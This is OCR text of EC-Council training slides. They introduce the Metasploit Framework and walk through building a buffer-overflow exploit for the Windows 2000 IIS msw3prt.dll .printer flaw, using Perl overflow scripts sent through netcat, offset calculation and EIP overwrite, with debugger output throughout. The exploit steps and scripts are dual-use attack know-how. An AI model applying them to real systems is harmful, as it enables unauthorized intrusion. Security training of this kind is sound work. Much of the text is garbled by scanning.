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What is Metasploit Framework?

® Itis a open-source and freely available exploit
development framework released under GPL
license

® The Metasploit Framework Is written in the Perl
scripting language and can run on Linux and

Windows (using the Cygwin environment for
Windows)

® The framework provides the following
Interfaces:

o Msfcli
» Msfweb
e msfconsole
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msfconsole

® The msfconsole is an interactive command-line
Interface provides a command set that allows the user
to manipulate the framework environment, set exploit
options, and deploy the exploit

® Commands:
e show exploilts
— Lists the available exploits
e 1nfo

— Shows the different aspects of the exploit like target platforms,
payloads etc.

® use
— Uses the exploit
e help
— Lists available commands
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Screenshot
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Show exploits

EC-Council

solariz_kems_readfile
solaris_lpd_exec
solaris_lpd_unlink
solariz_sadmind_exec
solaris_snmpxdmid
solaris_ttyprompt
sgquid_ntlm_authenticate
svnserve_date
trackercam_phparg_overf low
uow_1imap4d_copy
uow_imap4d_l=zuhb
ut2884_zecure_linux

utZ2lld_secure_wind2

warftpd_165_pass
warftpd_165_user
wehstar_ftp_user
windows_s=s1_pct
wins_mzB4_#45
wsftp_server_LSB@3_mkd
zenworks_desktop_agent
tack Overflow

msf >

Solaris KCHMS Ar ary File Read

Solaris LPD Command Execution

Solaris LPD Arbitrary File Delete

Solaris sadmind Command Execution

Solaris snmpHdmid AddComponent Ouerf low
Solaris in.telnetd TTYPROMPFT Buffer Ouverflow
Sgquid MILM Authenticate Ouverf low

Subversion Date Svnserve

TrackerCam PHP Argument Buffer Ouerf low
University of Washington IMAP4 COPY Overf low
University of Washington IMAP4 LSUB Ouverflow
Unreal Tournament 2884 "secure' Overflow <Linux

Unreal Tournament 2884 '"secure' Overflow (Wind2

War—FTFD 1.65 PASS Overf low

Har—FTPD 1.65 USER Ouverf low

HehSTAR FTP Server USER Ouverf low

Microsoft SSL PCT MSA4-811 Overf low

Microzoft WINS MEHA4-BA45 Code Execution

WS—FTP Server 5.83 MKD Ouerflow

ZEMworks 6.5 DesktopsServer Management Hemote 5




winz_mz@4_@#45 Microzoft WINS M504-045 Code Execution

wsftp_server_583_mkd WS—FTPF Server 5.603 MKD Ouverf low

zenworks_de=sktop_agent ZEMworks 6.5 DesktopsServer Management Hemote 5
tack Overflow

msf > help

Metazploit Framework Main Console Help

Show the main console help
Change working directory
Exit the console
Show the main console help
Display detailed exploit or payload information
Exit the console
Reload exploits and payloads
Save configuration to disk
Set a global environment variahle
Show available exploits and payloads
Remove a global environment wvariahle
Select an exploit by name

verszion Show conszole version
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Web Interface

etasploit Framework Web Console ¥2.5 - Microsoft Internet Explorer
J File Edit Wiew Favorites Tools Help ‘ izl
J smBack + =+ () ot | ‘Qisearch [EdFavorites S AHistory ||%v =]
| Address @ http:{127.0.0.1:55555/PAYLOADS ~| @eo |JLinks »
EXPLOITS PAYLOADS SESSI0ONS
=] \ Filter Modules
¥ BSD 1432 Bind Shell
¥ BSD IA32 Execute Command
¥ BSD 1432 Recv Tag Findsock Shell
¥ BSD IA32 Reverse Shell
¥ BSD 1432 SrcPort Findsock Shell
¥ BSD 1A32 Staged Bind Shell
¥ BSD 1432 Staged Findsock Shell
h OCN TADTS Ctannd Danaeca Shall LI
|@ |_|_|ﬁ Intermet Y
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Running an exploit using the console

>use 11s40 htr

>show targets

>show options

>set RHOST 10.0.0.5
>show advanced

>show payloads

>set PAYLOAD win32 bind
>exploit
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Exploit Development with Metasploit

® Writing an exploit requires an in-depth
understanding of the target architecture’s
assembly language, detailed knowledge of the
operating system'’s internal structures, and
considerable programming skill

® Metasploit greatly simplifies the exploit
development

® The first step in writing an exploit is to
determine the specific attack vector against the
target host
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msw3prt.dll

® Windows 2000 Internet printing ISAPI extension
contains msw3prt.dll which handles user requests

® Due to an unchecked buffer in msw3prt.dll, a
maliciously crafted HTTP .printer request containing
approx 420 bytes in the 'Host:' field will allow the
execution of arbitrary code

® Typically a web server would stop responding in a
buffer overflow condition; however, once Windows
2000 detects an unresponsive web server it
automatically performs a restart
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® We will demonstrate how to develop an exploit
for 11S msw3prt.dll vulnerability in Windows
2000 SPO

® Our exploit will cause a buffer overflow in a
component called msw3prt.dll, also known as
the .printer ISAPI filter, which gives the
operating system support for the Internet
Printing Protocol

® Our exploit will overwrite the instruction
pointer with a location in memory that jumps to
our program's exploit code
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What you will need?

® You will need the following to create the exploit
e Metasploit framework
e ActivePerl
e Debugger for Windows
e OllyDbg Debugger
e netcat
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Determining the Attack Vector

® First
e The attack vector of the vulnerability is determined
® Second
e The offset of the overflow vulnerability must be calculated
® Third
e Find the valid return address
® Fourth
e Determine the character and size limitations
® Fifth
e Create a nop sled
® Sixth
e Select the payload, generate and encode
® Exploit!
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First - The attack vector of the

vulnerability is determined

® Find the offset

$string = "GET /NULL.printer
HTTP/1.0\nHost: '';

$string .= "A" x 500;

$string .= "\n\n"';

open(NC, ""Inc.exe 127.0.0.1 80");
print NC $string;

close(NC);
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Debugger

1. Attach the debugger to the inetinfo.exe process. Ensure that the
process continues execution after being interrupted.

Execute the script in the previous slide
The attack string should overwrite the return address.
The return address is popped into EIP.

ok~ WD

When the processor attempts to access the invalid address stored
in EIP, the system will throw an access violation.

6. The access violation is caught by the debugger, and the process
halts.

7. When the process halts, the debugger will display process
iInformation including virtual memory, disassembly, the current
stack, and the register states.
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& bo.pl - Notepad
File Edit Format Help

f$=string = "GET AMULL.printer HTTPsL.O0%NHOST:
fstring .= "A" x 500;

fstring .= "'

openiNc, "|nc.exe 127.0.0.1 80",

print MC $string;

close( M,

Perl| code

inetinfo attached
to debugger

EC-Council

Attach to Process

744 MSTask.e
a04 VPCHap.e
-1060 Explorer
1124 VHUSrve.
1256 Di==vc.e
1264 windbg.e
376 cnd.exe
HOTEPAD .
-1308 dllho=t.
992 notepad.
-1284 cmd . exe
292 bash.exe

-1228 perl exe
+- 1216 mdm.exe

=
=
oo
oo

-1220 IEXFLCORE.

HEE
HEE

. BEE
EHEE
HEE
HEE

EXE
eXe
eXe

EXE

& inetinfo. e

Eu 416 cnd . exes

E~144D bash.exzxe=

#1536 perl. exe |
- 1572 SHAP3? EXE hd
— Sort

% System order " BylD " By Executable
Process |0

(244

[™ Moninvasive

] I Cance

Help




Inetinfo process attached to debugger

844 - WinDbg:6.6.0003.5 = Iﬁ' Ill
Fle Edit Wiew Debug Window Help
SRR ADED BP0 0 DEREEEE O] E R
mEINR egisters ]
Next I Customize. .. |
F7£9£99f f£7514 push dword p
77f9f9a2 f£7510 push dword p | BEZ [ Value -
77£9f9a5 ££750c push dword p |g= i]
77£9f9a8 ££7508 push dword p |f= 38
77£9f%9ab fid0 call SaE == 23
?7£9f%ad 894548 nov [ebp-0x |4= 27
7791900 834dfcif or dvord p | zd1 400
77£9{£9b4 =814000000 call ntdll!Pro; | i 0
77£9£9L9 8b4Gd8 now sax, [eb =hx 0
77£9f9bc EBb4df0 now ec, [eh: a CEEEEEEf
77£9£9bf e4890400000000 nov f=: [000 |5UE
77£9£9ck Gf pop edi ecx 101
77f9f9c7 Se pop e=i Eax d
77£9f9=8 Sb pop ehx '31_313 19fffhbd
77£9£929 =9 leave Eip 77£9£9df
77£9f9ca <21000 ret 0x10 (== 1hb
F7E919cd 237ddc00 cnp dvord p |efl 286
77£9£9d1 7408 iz ntdll!Pro; |esp 19fffa8
77£9£9d3 f£75dc push dword p |== 23
FTE9£9d6 =Bfhfffeff call ntdll!L | q+0 0
77£9£9db 3 ret drl 0
ntdll!EtlSetlUnicodeCal louts: dr2 i
77£9f9de c20400 ret O=4d dr3 0
ntdll ! DbhgBreakPoint : drb 0
FPE9f9dE oo T
77£9f920 o3 ret dr? 0
ntdll ! DbgllzerBreakPoint fpow 27f
77E919%1 o int 3 fpsw 0
77£9f9e2 <3 ret fptw ffff
77f9f9=3 8b442404 nowv eax. [es |fop... 0O =
77£9f9e7 oo int 3 fpip i]
F7£9f£9=8 =20400 ret Oscd fpi... 0
77f9f9eb 8b4Sec nov eax. [eb | fpdp i]
77£9f%== 8bO0 nov gax. (=2 |fpd. .. 0
FTE9E9f0 8bL0OO mow sax, [ea
77£9£9£2 89B5E0EALELS nov [ebp-0x | o) D e 0t
PhEargih ol Egih Bl st2 0.00000000000000=+000
I7E9 9L =3 et =t3 0.00000000000000=+000
77f9f9fc DLECeD e e=p. [eb =td 0.00000000000000=+000
77f9f9ff SbbES0fdffff nov e=i.[eb |Sto 0.00000000000000=+000
77f9fa05 834dfcif or dword p =th 0.00000000000000e+000
77f9f=09 33db wOoT =hx . =hx =t7 —1 FINFOOOO0000000e+000 -
77t9fa0b =90388f£1f Jmp ntdll D0 “"Tn i-n-n-n _I_I
77£9fal0 642118000000 nov sax, fs: L4 | B
4_| | _Pl IRegisters | Calls |
Ln 0, Col 0 [Sys D:<local> [Proc n00:34c [Thrd 027:434 [asm [ovn [caps [uom
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Execute the perl code

SWINNTY Sy stem 32 cmd.exe

C:~Documents and Settings“Administrator~Desktop~BO>dir

Uolume in drive C has no lahel.
Uolume Serial Humber is PHFS-B63B

Directory of C:“Documents and Settings“Administrator~Desktop~BO

B8.-01.-2086 B9:23a <DIR> -
B7:23a <DIR> --
B6:88p 221 ho.pl
a7 :1%p 59.392 nc.exe
B8.-01.-2006 Bb:-18a 1,587 webexploit.pl
3 File<s> 61.982 hytes
2 Diwdsd>» 15 802_.765.312 bytes free

C:~Documents and Settings“Administrator~Desktop~B0>perl bo.pl
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EIP Is overwritten with “AAAA”

b:-' Pid 844 - WinDbg:6.6.0003.5
File Edit Wew Debug Window Help

Bl Re ARG BP0 DREEEEE O] E[] a2

Disassembly MW R egisters

OFFset:I | Prewvious I Mext I Customize...l

E1x

Ho prior dizassembl oz=ible = |V 1
=0 alu= -
41414142 779 299 edi 4
41414143 77 277 = 1bclesd
41414144 77 277 ohx 1boiedd
41414145 77 277 o i
11414146 77 277
41414147 77 277 o= f
41414148 77 279
41414149 77 279 :
Rt o {=ip 41414141
4141414b 77 E
4141414c T esp £3f 3=0
_ 41414144 2972 st7 0.00000000000000e+000
AAAA In g 22 e i seatig
hexadecimal is 41414150 77 277 nn3 77fc:ad?f df faks
”""”41414151 27 277 nmd 0:1800:0:0

41414141 41414152 77 272 nns 0:0:9:22h4d
iii}iigi I £58 2nm 3 B.523706=-040: 8.1404232-040: 8 523706-040: 4 344025c-044
ilililee 4 EX §2m4 D1.65333?e+032: §.523706=—040: 5.160490=—040: 1.663063=+032
41414156 77 277
41414157 77 277 = L
41414158 77 277 &5 23
41414159 77 279 ds fg
41414155 77 279 cs
4141415b 77 777 == 23
4141415¢ 77 2979 dri 0
41414154 77 277 drl 1] ||
4141415 77 277 dr? 1]
4141415F 77 277 dr3 1]
41414160 77 277 drb 0
41414161 77 277 dr7 0
41414162 77 277
41414183 77 277 §E§$ S?f
41414164 77 277 7
41414165 77 277 (L
41414766 77 277 fop... 0
11414167 77 277 fpip |0
41414168 77 777 fpi... 0
11414169 77 279 fpdp 0
41414165 77 279 fpd... 0
4141416b 77 777 ein N ANAAANAAAAAAAA=snnn _J:J
4141416 77 777 g | E
4141416d 77 Bt IRegisters | Calls |

[Lno, Col 0 [Sys 0:<Local> [Proc Dom:34c [Thrd oosabe [asm [ove [caps [rum|
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OllyDbg Screen

OllyDbg - inetinfo.exe =] x|
File “iew Debug Plugins Options  ‘Window Help

‘Blex] w0 v+ 810 4 ] LlE[m]z]w a]c[/|K[B]R]-

[E cru - thread 000001A0

& | Registers (FFLD < < < 3
= | ERX GERRzan]

EC BEEAHDEZ

ED BEEAREAGR

EBw B1EZ1ESD

ESP BEFIF3EA ASCIT "ARARARARRRARARARAARAARAARARARARARAARAARAR
EBP 41414141

ESI B1E21E2R

IP 41414141

Lo o bit BIFFFFFFFF]
CS BE1E 32bit BIFFFFFFFF)
55 B@Z3 Zzbit BIFFFFFFFF)
0S5 BE23 32bit BIFFFFFFFF)
Z2bit TFFOS@EE(FFF)
G5 BEaE HULL

LastEry ERROR_IMSUFFICIEMT_BUFFER [BE0E3EA7A)
EFL @@eidzez (HO.ME.ME.A, M5, PO, GE,G)

STE empty +UNORM BESG 7PFCALE: GEOEF2CY
5T1 empty +UHORM G172 GRAGEGEEA BRAAEHAEE
STz empty +UNORM 8538 DEDEFS48 Qooopaog
5T2 empty -UHORM SASA FPFCA47F BEDEBFAGS
ST4 empty +UHORM 1062 DROE1S0E DROEDE0E
5TE empty B, ABAGAGAGAEEZ12623350:—4932

STE empty S12. HOEOEDABEEEEAEEEG
ETT emptu I.BBBEBBB?BEBBBBBBEBE

- 2
_II:CtT ARAG  Cond B A @ @ Fre B0

E
T
=
2]
Z
z
T
1]
u]

0 RS
m
ol
=
=
o
(L)

1
B (GT]

Address
5166460 Don't knowe how to conkinue because memory at address 41414141 is not readable. Try to change EIP or pass

excepkion to program.
Bla84a18
B18E4 828
818846828

H18a84638

B10E4 845
1864856

B1aE4 858
1884858 BEFZF414| 41414141

BEFSF413| 41414141
BlaE4a82
B1a8487Ea BEFIF41C 41414141

BlEE4E72

. i
S%ngggg e BEd. B AAFSF428| 41414141|Painter to nedt SEH record

o= BOFZF4ZC| 41414141[SE handler
B1pG46oG (P

BOFIF436| 41414141
AL 2 ooafifina BEFIF434| 41414141

5]
146864, 8
glaa46a82 o gp- . BAFIF44m 41414141

- - BOFZF44d| 41414141
it 29000030 BEFSFd4s| 41414141

B1864 886
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EIP

® In the debugger window shown in the previous

slide, EIP has been overwritten with the
hexadecimal value 0x41414141

® This corresponds to the ASCII string AAAA,
which iIs a piece of Data that was sent to 1S

® Because the processor attempts to access the
Invalid memory address, 0x41414141, the

process halts in the debugger
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Analysis of the code

& bo.pl - Notepad ol x|
File Edit Format Help
$string = "GET /NULL.printer HTTP/l.0\nHost: "; =
$string .= "A" x 500;
$string .= "\n\n";
open(NC, "|nc.exe 127.0.0.1 80");
print NC $string;
close(NC);|
=

EC-Council

In line 1, we start to build the attack
string by specifying a GET request

In line 2, we append a string of 500 “A”
characters

In line 3, we add carriage return and
newline characters that terminate the
request

In line 4, a pipe is created between the NC
file handle and the Netcat utility. The
Netcat utility has been instructed to
connect to the target host at 127.0.0.1 on
port 80

In line 5, the $string data is printed to the
NC file handle. The NC file handle then
passes the $string data through the pipe to
Netcat which then forwards the request to
the target host

In line 6, we close the connection




Determine the “offset” address

EC-Council

We need to calculate the location of the four A characters that
overwrote the saved return address

A simple GET request consisting of A characters will not provide
enough information to determine the location of the return address

A GET must be created such that any four consecutive bytes in the
name are unique from any other four consecutive bytes

When these unique four bytes are popped into EIP, you will be able
to locate these four bytes in the GET string

To determine the number of bytes that must be sent before the
return address is overwritten, simply count the number of
characters in the GET before the unique four-byte string

The term offset is used to refer to the number of bytes that must
be sent in the request just before the four bytes that overwrite the
return address




PatternCreate()

® You can use PatternCreate() method available from the Pex . pm
library located in ~/framework/li1b to generate unique
characters

® The PatternCreate() method takes one argument specifying the
length in bytes of the pattern to generate

® The output is a series of ASCII characters of the specified length
where any four consecutive characters are unique

® These characters can be copied into the attack string

® Command:
perl -e ““use Pex; print Pex::Text::PatternCreate(500)”

eOr pipe itto afile
perl -e “use Pex; print Pex::Text::PatternCreate(500)” > string.txt
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PatternCreate() Command

J File Edit ‘Miew Fawaorites Tools  Help

J Back = = - | ‘Qhsearch [YFolders & #History ||E+ 0 % @ | Ex~
J.ﬁ.ddress b j o
L Digest Msf MetPacket Pex code, bk
lib
Select an item ko view its
description,
MetPacket.p Pex.pm
See also:
My Documents | L2 WINNT Sy stem32 cmd.exe
My Mebwork Places
My Computer C:“Program Filesz“Metasploit Framework-homeframework-lib>perl —e "usze Pex;: print
Pex::Text::PatternCreate(588>" l
AaBfalfaZhalfadfabhabfaPhaBha?abBabliab2ab3fdb4nbSAboAb7AbBAb AcBAciAicZ2AcIAic4ichic
6Ac7AcBAc?AdBAd1IAdZAd3IAd4AdSAd6Ad7AdBAd?AeBAelAe2AedAedfeSAebAe PAeBAe?ATBAF 1AL 2ZA
fIAF4AfSAF6AL A BAT AgBAgl Ag2Ag3AgdigShigbigPhigBAg?AhBihiah2Ah3ah4ahbahbAhPAhBARY
AIBAi1AiZAiIAi4AI5AI6AITAIBAITAIBAJIAF2ZA3IAJHAAFSAJEAF7AIEBAJPAKBAKIAKZAKIAKIAKSAK
eAKPAKBAK?AIBAI1A1IZA1ZATI4A1ISA1I6ATI?A1IBA1I?AMBANL ANZANIANdANSANGANPANBAN? AnBAnl An2A
n3AN4ANSANGAN7ANBAN?A0BA01 Ao2AodAodAoSAobA0 7A0BA0?APBAp1ApZ2Ap3ApdApSApb AP YAPBAPT
AgBRglAg2Rg3fgdigShg
C:s»Program Files“Metasploit Framework-home>framework-lihz
|?|:|I:-ject{s]l
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Generated string.txt

=10l x|

ﬂ string.txt - Notepad

File Edit Format Help
[ha0aalaazaazaadsaiiafiariaBaadabiahlabzabiabd absabeah7AbBADRACOACLIACZACIACAC |

SACEACTACBACOAdOAdLAdZ Ad3Add AdSAdGAdTANBAdSARDAR] An2ae3 Al AnSAREART ARBARDAT (A
flafzafsafdariafear7afsaroaglaglag2ag3agd agiagbag?agiagsahoahlahzah3ahdahiahg
Ah7ahBahoai0ailaizai3zaidaitaicai7aigaioajoajlajzaj3ajdajsajoaj7ajsaisakoaklak
2ak3akdaksakeak7akBakoaloallal2alialdalsalenl?7alsalsam0amlam amsamd amSamEam? A
maamaantanlantaniand anianganyansancao0anlanlan3daodA0sa06807 808809800807 402803

Apd ApSApeap7ApBApSAnOAglAD2AgSAgdAn LAY
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Send the newly generated string in the
GET request

i bo.pl - Notepad

File Edit Format Help

$string = "GET /NULL.printer HTTP/l.0\nHost: "; =l
$string .=
"AalDAalAaazaadAaadAaabaabaa’aalaadab0ablab2ab3ab4abSabea
b7Ab8Ab9AcCOACclAC2AC3ACAACSACBAC/ACBACOAdOAdLIAdZ2Ad3 A4S
AdS5Ad6Ad7Ad8Ad9Ae0AclAc2Ae3 AcdrebAcbAe7AcB8Ac9ATOATIAT
2AT3ATAATSATOAT7ATEATOAQOAgLAQ2Ag3AQg4AQSAgBAQT7 AQBAQOA
hoahlah2Ah3Ah4Ah5Ah6AK7AR8ANSAT0AT1AT 2AT13AT4AT5AI6A17
A18A1T9A]J0AJ1A]2A]3A]J4A]5A]6A]7A]8A]9Ak0AKkIAK2AKSAKAAK
SAkBAK7AK8AKIATOAT1AT2AT3AT4AT5AT6AT7AT8ATSANMOAMLAMZA
m3Am4AmSAmeAM7 Am8AmI9ANOANL1ANZ2AN3AN4ANSANGAN7 ANBANDAQD
AolAaoZ2Ao3A04A05A00A07 A08A09AP0AP AP 2AP3AP4APSAPBAPT AP
8Ap9AQqOAqlAg2Aq3Aq4AqSA";

$string .= "\n\n'";

open(NC, "|nc.exe 127.0.0.1 80");

print NC $string;

close(NC);
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Debugger output

EIP = Eod13072 77
6a413969 baiT3075 7

id 1432 - WinDbg:6.6.0003.5 = Iﬂlﬂ
File Edit View Debug Window Help
& RERERED B N DRREEREEO] 0 A2
mE W R egisters =
Offsek: I | Previcus I Mext I Customize. .. |
£2413969 77 Reg | Value -
£ad1396a 77 edi 4
£ad41396b 77 esi 1bd1=90
6ad41396c 77 sbx 1bdie30
£ad1396d 77 odx i
£adlidbe 77 5
6241396f 77 —
£ad13970 77 = T
77 ™
fadliail > | cip | 6adl3969 |
‘?‘? L L
£ad13973 77 T e toen
dr0 i
£ad13976 77 dr3 0
£ad13977 77 fop.. . G55a
62413378 77 fpip  6e=5adflg
62413379 77 fpi... 1b
63413975 77 fpdp | bBbbbel
62413970 77 fpd. .. 23
6ad41397c 77 =th §.12000000000000e+002
62413374 77 £7 1.00000000000000=+000
£a41397e 77 = ' i
- b i} 77fc:aletdb: f8cd
£ad1397f 77
mm 2 db:£940:0:0
63413380 77
66413981 77 mm3 ??fca4?fdhfa68
fad13982 77 mmg giéﬁgﬂiﬂig
£ad13983 77 nm :0:9:1ca
£ad413084 77 =mn3 8.030561e—040: .018790e—040: 2.030561=—040: 4.344025=—044
62413985 77 =nmd 1.024536+034: .030561=—040; 2.160714=—040: 1.663063=+032 | |
£ad13986 77 e 2 057168038 2 0571682038 2 02015220358 -1 #QNAND=+000
63413987 77 =mn? 2. 020157038 1.680590e—03%; 1.40129%=—045; 1.717890=—038
B TR sz 11
a ’ s a8
£adl1398a 77 o= a3
it T
oy 1ib
6ad1395d 77 =
£241398e 77 ss =3
drl i
fadl1398f 77
62413990 77 drd g
Bad413991 77 dré a
62413992 77 dr7? i =
62413393 77 Frﬁm 27§ _J—J
65413994 77 . | B

62413995 77

Im| Calls |

EC-Council
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patternOffset.pl

® EIP register contains the hexadecimal value
6a413969

® Use patternOffset.pl script found in
~/framework/sdk to convert the hex into
number

® perl patternOffset.pl 6a413969 500
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patternOffset.pl

& framework

J File Edit ‘iew Favorites Tools  Help

J spBack ~ = - | ‘@hsearch [ Folders  (#History || 3 O X @& | Ed-
J.ﬁ.ddress 7 Framework j IfQG':'

L data docs encoders explaits extras

framéwurk

e = f_j
WWINNT System32' cmd.exe ;lglﬁl

nads

C:“Program Files“Metaszploit Framework-home“framework-sdk>perl patterndffszet.pl EH
a413767 S68 l

J
C:“Program Files“Metasploit Framework-home“framework-sdk> H

nsole msFelfscan msfencode

JIE

b Can msfupdate msFraeb

|@. My Compuker i
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EIP location

® The patternOffset.pl script located the string
“6a413969” at the offset 268

® This means that 268 bytes of padding must be
Inserted into the attack string before the four
bytes that overwrite the return address

® The bytes In 1 to 268 contain the pattern string

® The next four bytes In 269 to 272 overwrite the
return address on the stack

268 bytes 4 bytes
Data (1-268 bytes) EIP (269-272)

EC-Council




268 bytes will not overwrite the buffer

® Sending 268 bytes will not over the buffer

® EIP will not be overwritten

e $string = "GET /NULL.printer
HTTP/1.0\nHost: ";

e $string .= "A" X 268;

e $string .= "\n\n"';

e open(NC, "|nc.exe 127.0.0.1 80™);
e print NC $string;

e close(NC);
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EIP = NOT
overwritten

EC-Council

& pid 1448 - WinDbg:6.6.0003.5 _|=] x|
File Edit ‘iew Debug Window Help
S| ERERHAD B E |0 DEDEEREE O] E] AR
Disassembly imEI R egisters 12
Offset: I | Previous I Mext | Customize... |
fafcBoel Bb4Gf4 o =ax, [sb
falclcel Ge pop esi Reg | Value =
GabcBoceb Gf pop ed1i edi =f£3d0
fafcBce? o9 leave e=i 6aBc20e0
faBcBoed 20400 ret Ox=d =hx 1bd1e90
6afcBoceb 55 push ebp edx 0
BaBcBoec 8bec now ebp. esp
GafcBoes 83echc sub esp, 0=x5 :Zz géf:}?ﬁ
falcBofl 56 push esi e p—
EaficBefz &7 push  edi E ) L
6a8cBofl £al6 push  0x6 %
BaBcBcfS 8b4508 now eax, [eb
faBcBcil GO pop ecxE 7] effi64
baBcictd hedBZ08cha now esi. Oxh |dré 0
fafcicie Bd7ded lea edi.[eb |fop... 33
6288401 8bO0O0 now eax. [ea | fpip E=badb39
BaBcB8d03 f3ab rep mowsd fpi... 1b
62828405 8d4dfc lea ecx, [eb | fpdp bbbhes
6aBcBdis <745fc40000000 now dvord p |fpd... 23
6aBcidlf 51 push ecx sth §.12000000000000e+002
£28c8d10 8dddad lea scx. [sb) | =47 1.000000000000002+000
BaBcB8dl3 51 push eCK - T7fo-alet db- fAcd
6a8c8d14 6838208c6a push Ozbafc2 | db-f940-0.0
: 2419 f£7008 L : =
628c8dlc ££9080000000 call  dword p |Mmd R SO HE DHE S
fafcBd22 A5c0 test 28X, BaX nid 0:1800:0:0
faBcBd2d 7438 iz mewiprt |MmS 0:0:9:1c74
6afchd?E 8d75=4 lea e=si, [eb EII 3 2.030561=e—040: 8. 018790=—040: 8.030561=—040: 4.344025=-044
Gafcfd?9 2d45a4 lea sax, [eb | ¥mmd 1 663337e+032: 8 030561e—-040: 8.160714e—040: 1. 663063=+032
fafc8d2c 2al0 now dl.[sax |g= 0 |-
6abcidZe Baca  Tuld cl.dl i= kL
6aBcB8d30 3ale cmp dl,.[e=si |e= 23
6afcBdiz 751a jnz newiprt |ds 213
£a8c8d34 84c9 test cl.cl c= 1hb
baBcBdie 7412 iz newiprt | oo 23
fafcB8d3s 8ab001 now dl. [eax E i
fa8c8d3b Baca now cl.dl dril 0
fafcBdid 3abell [t A} dl. [e=i dr? i
£aB8cBd40 75ic inz mew3prt 2
628c0d42 40 inc sax dr3 s
Bafcoddd 40 inc sax dr? o
6aBc8ddd 46 inc esi fpow  27f
6a8cAd4s 46 inc esi fpsw 0 =
fa8c8d4p 84c9 test cl.cl Fi“"“ fREF _I—I
528c8dd8 75e2 inz mewdprt L4 | B
¢| | Ll IRegisters | Calls |
Ln 0, Col 0 [Sys O:<Local> |Proc 000:558 [Thrd 008:590 [Asm [ove [Caps (o)




2172 bytes will overwrite the buffer

® Sending 272 bytes will over the buffer

® EIP will not be overwritten

e $string = "GET /NULL.printer
HTTP/1.0\nHost: ";

e $string .= "A" x 272;

e $string .= "\n\n"';

e open(NC, "|nc.exe 127.0.0.1 80™);
e print NC $string;

e close(NC);
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EIP Overwritten

nDbg:6.6.0003.5 ==
File Edit View Debug Window Help
B RR AR BTN DEEEERE O] AR
Disassembly ImEE @R egisters [ =
OFFset:I | Prewvious I Mext I Customize...l
o prior dizassenbl ozsible
Eeg |Value -
41414142 7?7 777 edi 4
41414143 77 777 esi 1c41e90
41414144 77 777 ebx 1c41e90
41414145 77 777 odu i
41414146 77 777
41414147 72 277 oon f
41414148 7?7 777 ==
41414149 77 777 oE R
E”D ] 41414148 ?7 777 ElF <
4141414b 7?7 o = =
ekl [==3] f3f3e0
41414141 — 77 el dri 1Seed?c
4141414e 77 777 dril 1Geed?c
'tt 4141414F 77 777 dr2 1Geedfd
overwrititen 41414150 7?7 777 dr3 1Geedfd
41414151 7?7 777 dré =00s
41414152 7?7 777 fop. .. | GGa
41414153 2?7 e fpip 6=Cadb3a
41414154 77 777 T 1h
41414155 7?7 777 i
41414156 77 297 gggp Sghh?e
i%iijigg 33 333 sth §.12000000000000=+002
41414159 77 777 =t7 1.00000000000000=e+000
41414153 77 279 mn0 77fc:alef db: f3c4
4141415 77 277 mm2 db:£940:7:640
4141415 77 k¥ mm3 77z ad47f db: fakid
41414154 7?7 777 mmd 0:1800:0:0 |
4141415 ?7 777 mn 0:0:9:1c14
4141415F ?7 777 =mn2 1.663388=+032: £.439247=—040: 2.802597e=—045: §.407791e—045
41414160 27 Ty =Ennd 7.993679=—040: 8.047265=—040: 7.993679=—040: 4. 344025044
41414161 3772 27 Hmmd 1.663337e+032: 7.993679e-040: 8.1607142-040: 1.663063=+032
41414162 33 333 il i
41414163 77 77 ie 28
41414164 27 777 oo 5
41414165 7?7 777 5 o
41414166 27 777 =
41414167 77 277 cs 1b
41414168 77 777 s= 23
41414169 77 777 dr? 0
41414168 ?7 777 fpow | 27f _
41414160 77 277 - _J_J
41414160 77 277 1 | B
4141416d 77 277 [ Regsters | cals
EC C .I Ln0, Col0 |Sys 0:<Local> |Proc 000:35c |Thrd 009:3d0 |ASM | OVE [ CAPS | [ILIM
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Controlling the Flow

® Now we can overwrite the EIP with any return
address we want ©

® This code will overwrite the EIP with 22222222

e $string = "GET /NULL.printer
HTTP/1.0\nHost: ";

e $string .= "A" X 268;
e $string .= “\x22\x22\x22\x22’;
e $string .= "\n\n"';

e open(NC, "|nc.exe 127.0.0.1 80™);
e print NC $string;
e close(NC);
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EIP overwritten with 22222222

REIES
File Edit “iew Debug Window Help
&t EREEEED BTG 0 EEREEEE O] A2
i W Registers =l
Offset: I | Frevious I MNext | customize. . |
I__ ricn sassembl pos==ible Feg |'Jalue —
R o) f= 3b
22222224 77 277 edi 4
22222225 17 777 es1i 1b81=90
22395538 oo 77 sbx  1b81e90
222322228 17 777 zgz g
22222229 77 277 |
2222222a 17 777 —
22222220 17 777 Shp G G
2222222c 77 277 eip 22222222
22z2222d 77 277 1 -
22222222 77 277 esp £3f 30
2222222f 77 277 fop. .. GGa
22222230 77 277 fpip | 6e5adf3d
22222231 77 777 fpi... 1b
22222232 77 277 fpdp | bbbb7a
22222233 77 777 fpd. .. 23
gggggggé 33 333 st6 5.12000000000000=+002
G # 22| 0000000001 L5:001
22222237 77 277 T
22222238 77 797 R - ) £, [V
22222239 37 77 i3 P7fc ad?i db:fand
22222232 7 277 nnd 0:1800:0:0
2222223b 7 ikl mm5 0:0:9:1=74
29233230 77 277 Enm3 7.993679=—040: B 047265=—040: 7.9936792—040: 4 344025e-044
2222223d 77 279 =nmd 1. 66333724032 7 993679%—040: 5.160714e—040: 1 E63063e+032
22222232 77 277 gs 0 |
2222223 77 277 es 23
22222240 77 277 ds 23
22222241 77 277 o= b
22222242 77 777 o= 33
22222243 77 277
22222244 77 277 gig g
22222245 77 277 = T
22222246 77 277 i i
22222247 77 277 o o
22222248 77 277 T
22222249 77 277 dr? 0
22222242 77 277 fpow | 27f
2222224k 77 277 fpsw O .
2272224c 77 277 frrm FEEF _J-J
2222224d 77 277 d | E
|ezz22240 77 277 [Regaters | calle |
EC'COU”C” Ln0, Col 0 [Sys D:<Local> [Proc 000:384 |Thed 003:54c [a5m [ovr [Caps [uum




Control Vector

® In a buffer overflow attack there are two ways to
pass the control to the payload

® First method:

e overwrites the saved return address with the address
of the payload on the stack

® Second method

e overwrites the saved return address with an address
Inside a shared library

e The instruction pointed to by the address in the
shared library causes the process to bounce into the
payload on the stack
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First method:

® The first technique overwrites the saved return
address with an address of the payload located
on the stack

® When the processor leaves the vulnerable
function, the return address Is popped into the
EIP register, which now contains the address of
the payload

® EIP points to where the flow of execution Is
going next

® By changing the address of the payload into
EIP, we can redirect the flow of execution to any
payload
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Where to place the payload?

® The payload can be placed anywhere In the
unused space currently occupied by the buffer
overflow code.

® Note that the payload can be placed before or
after the return address (EIP)

® The base address of the Windows stack is not as
predictable as the base address of the stack
found on UNIX systems

® Windows systems is not possible to predict the
location of the payload
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Second method:

® We can use Windows shared library to guide
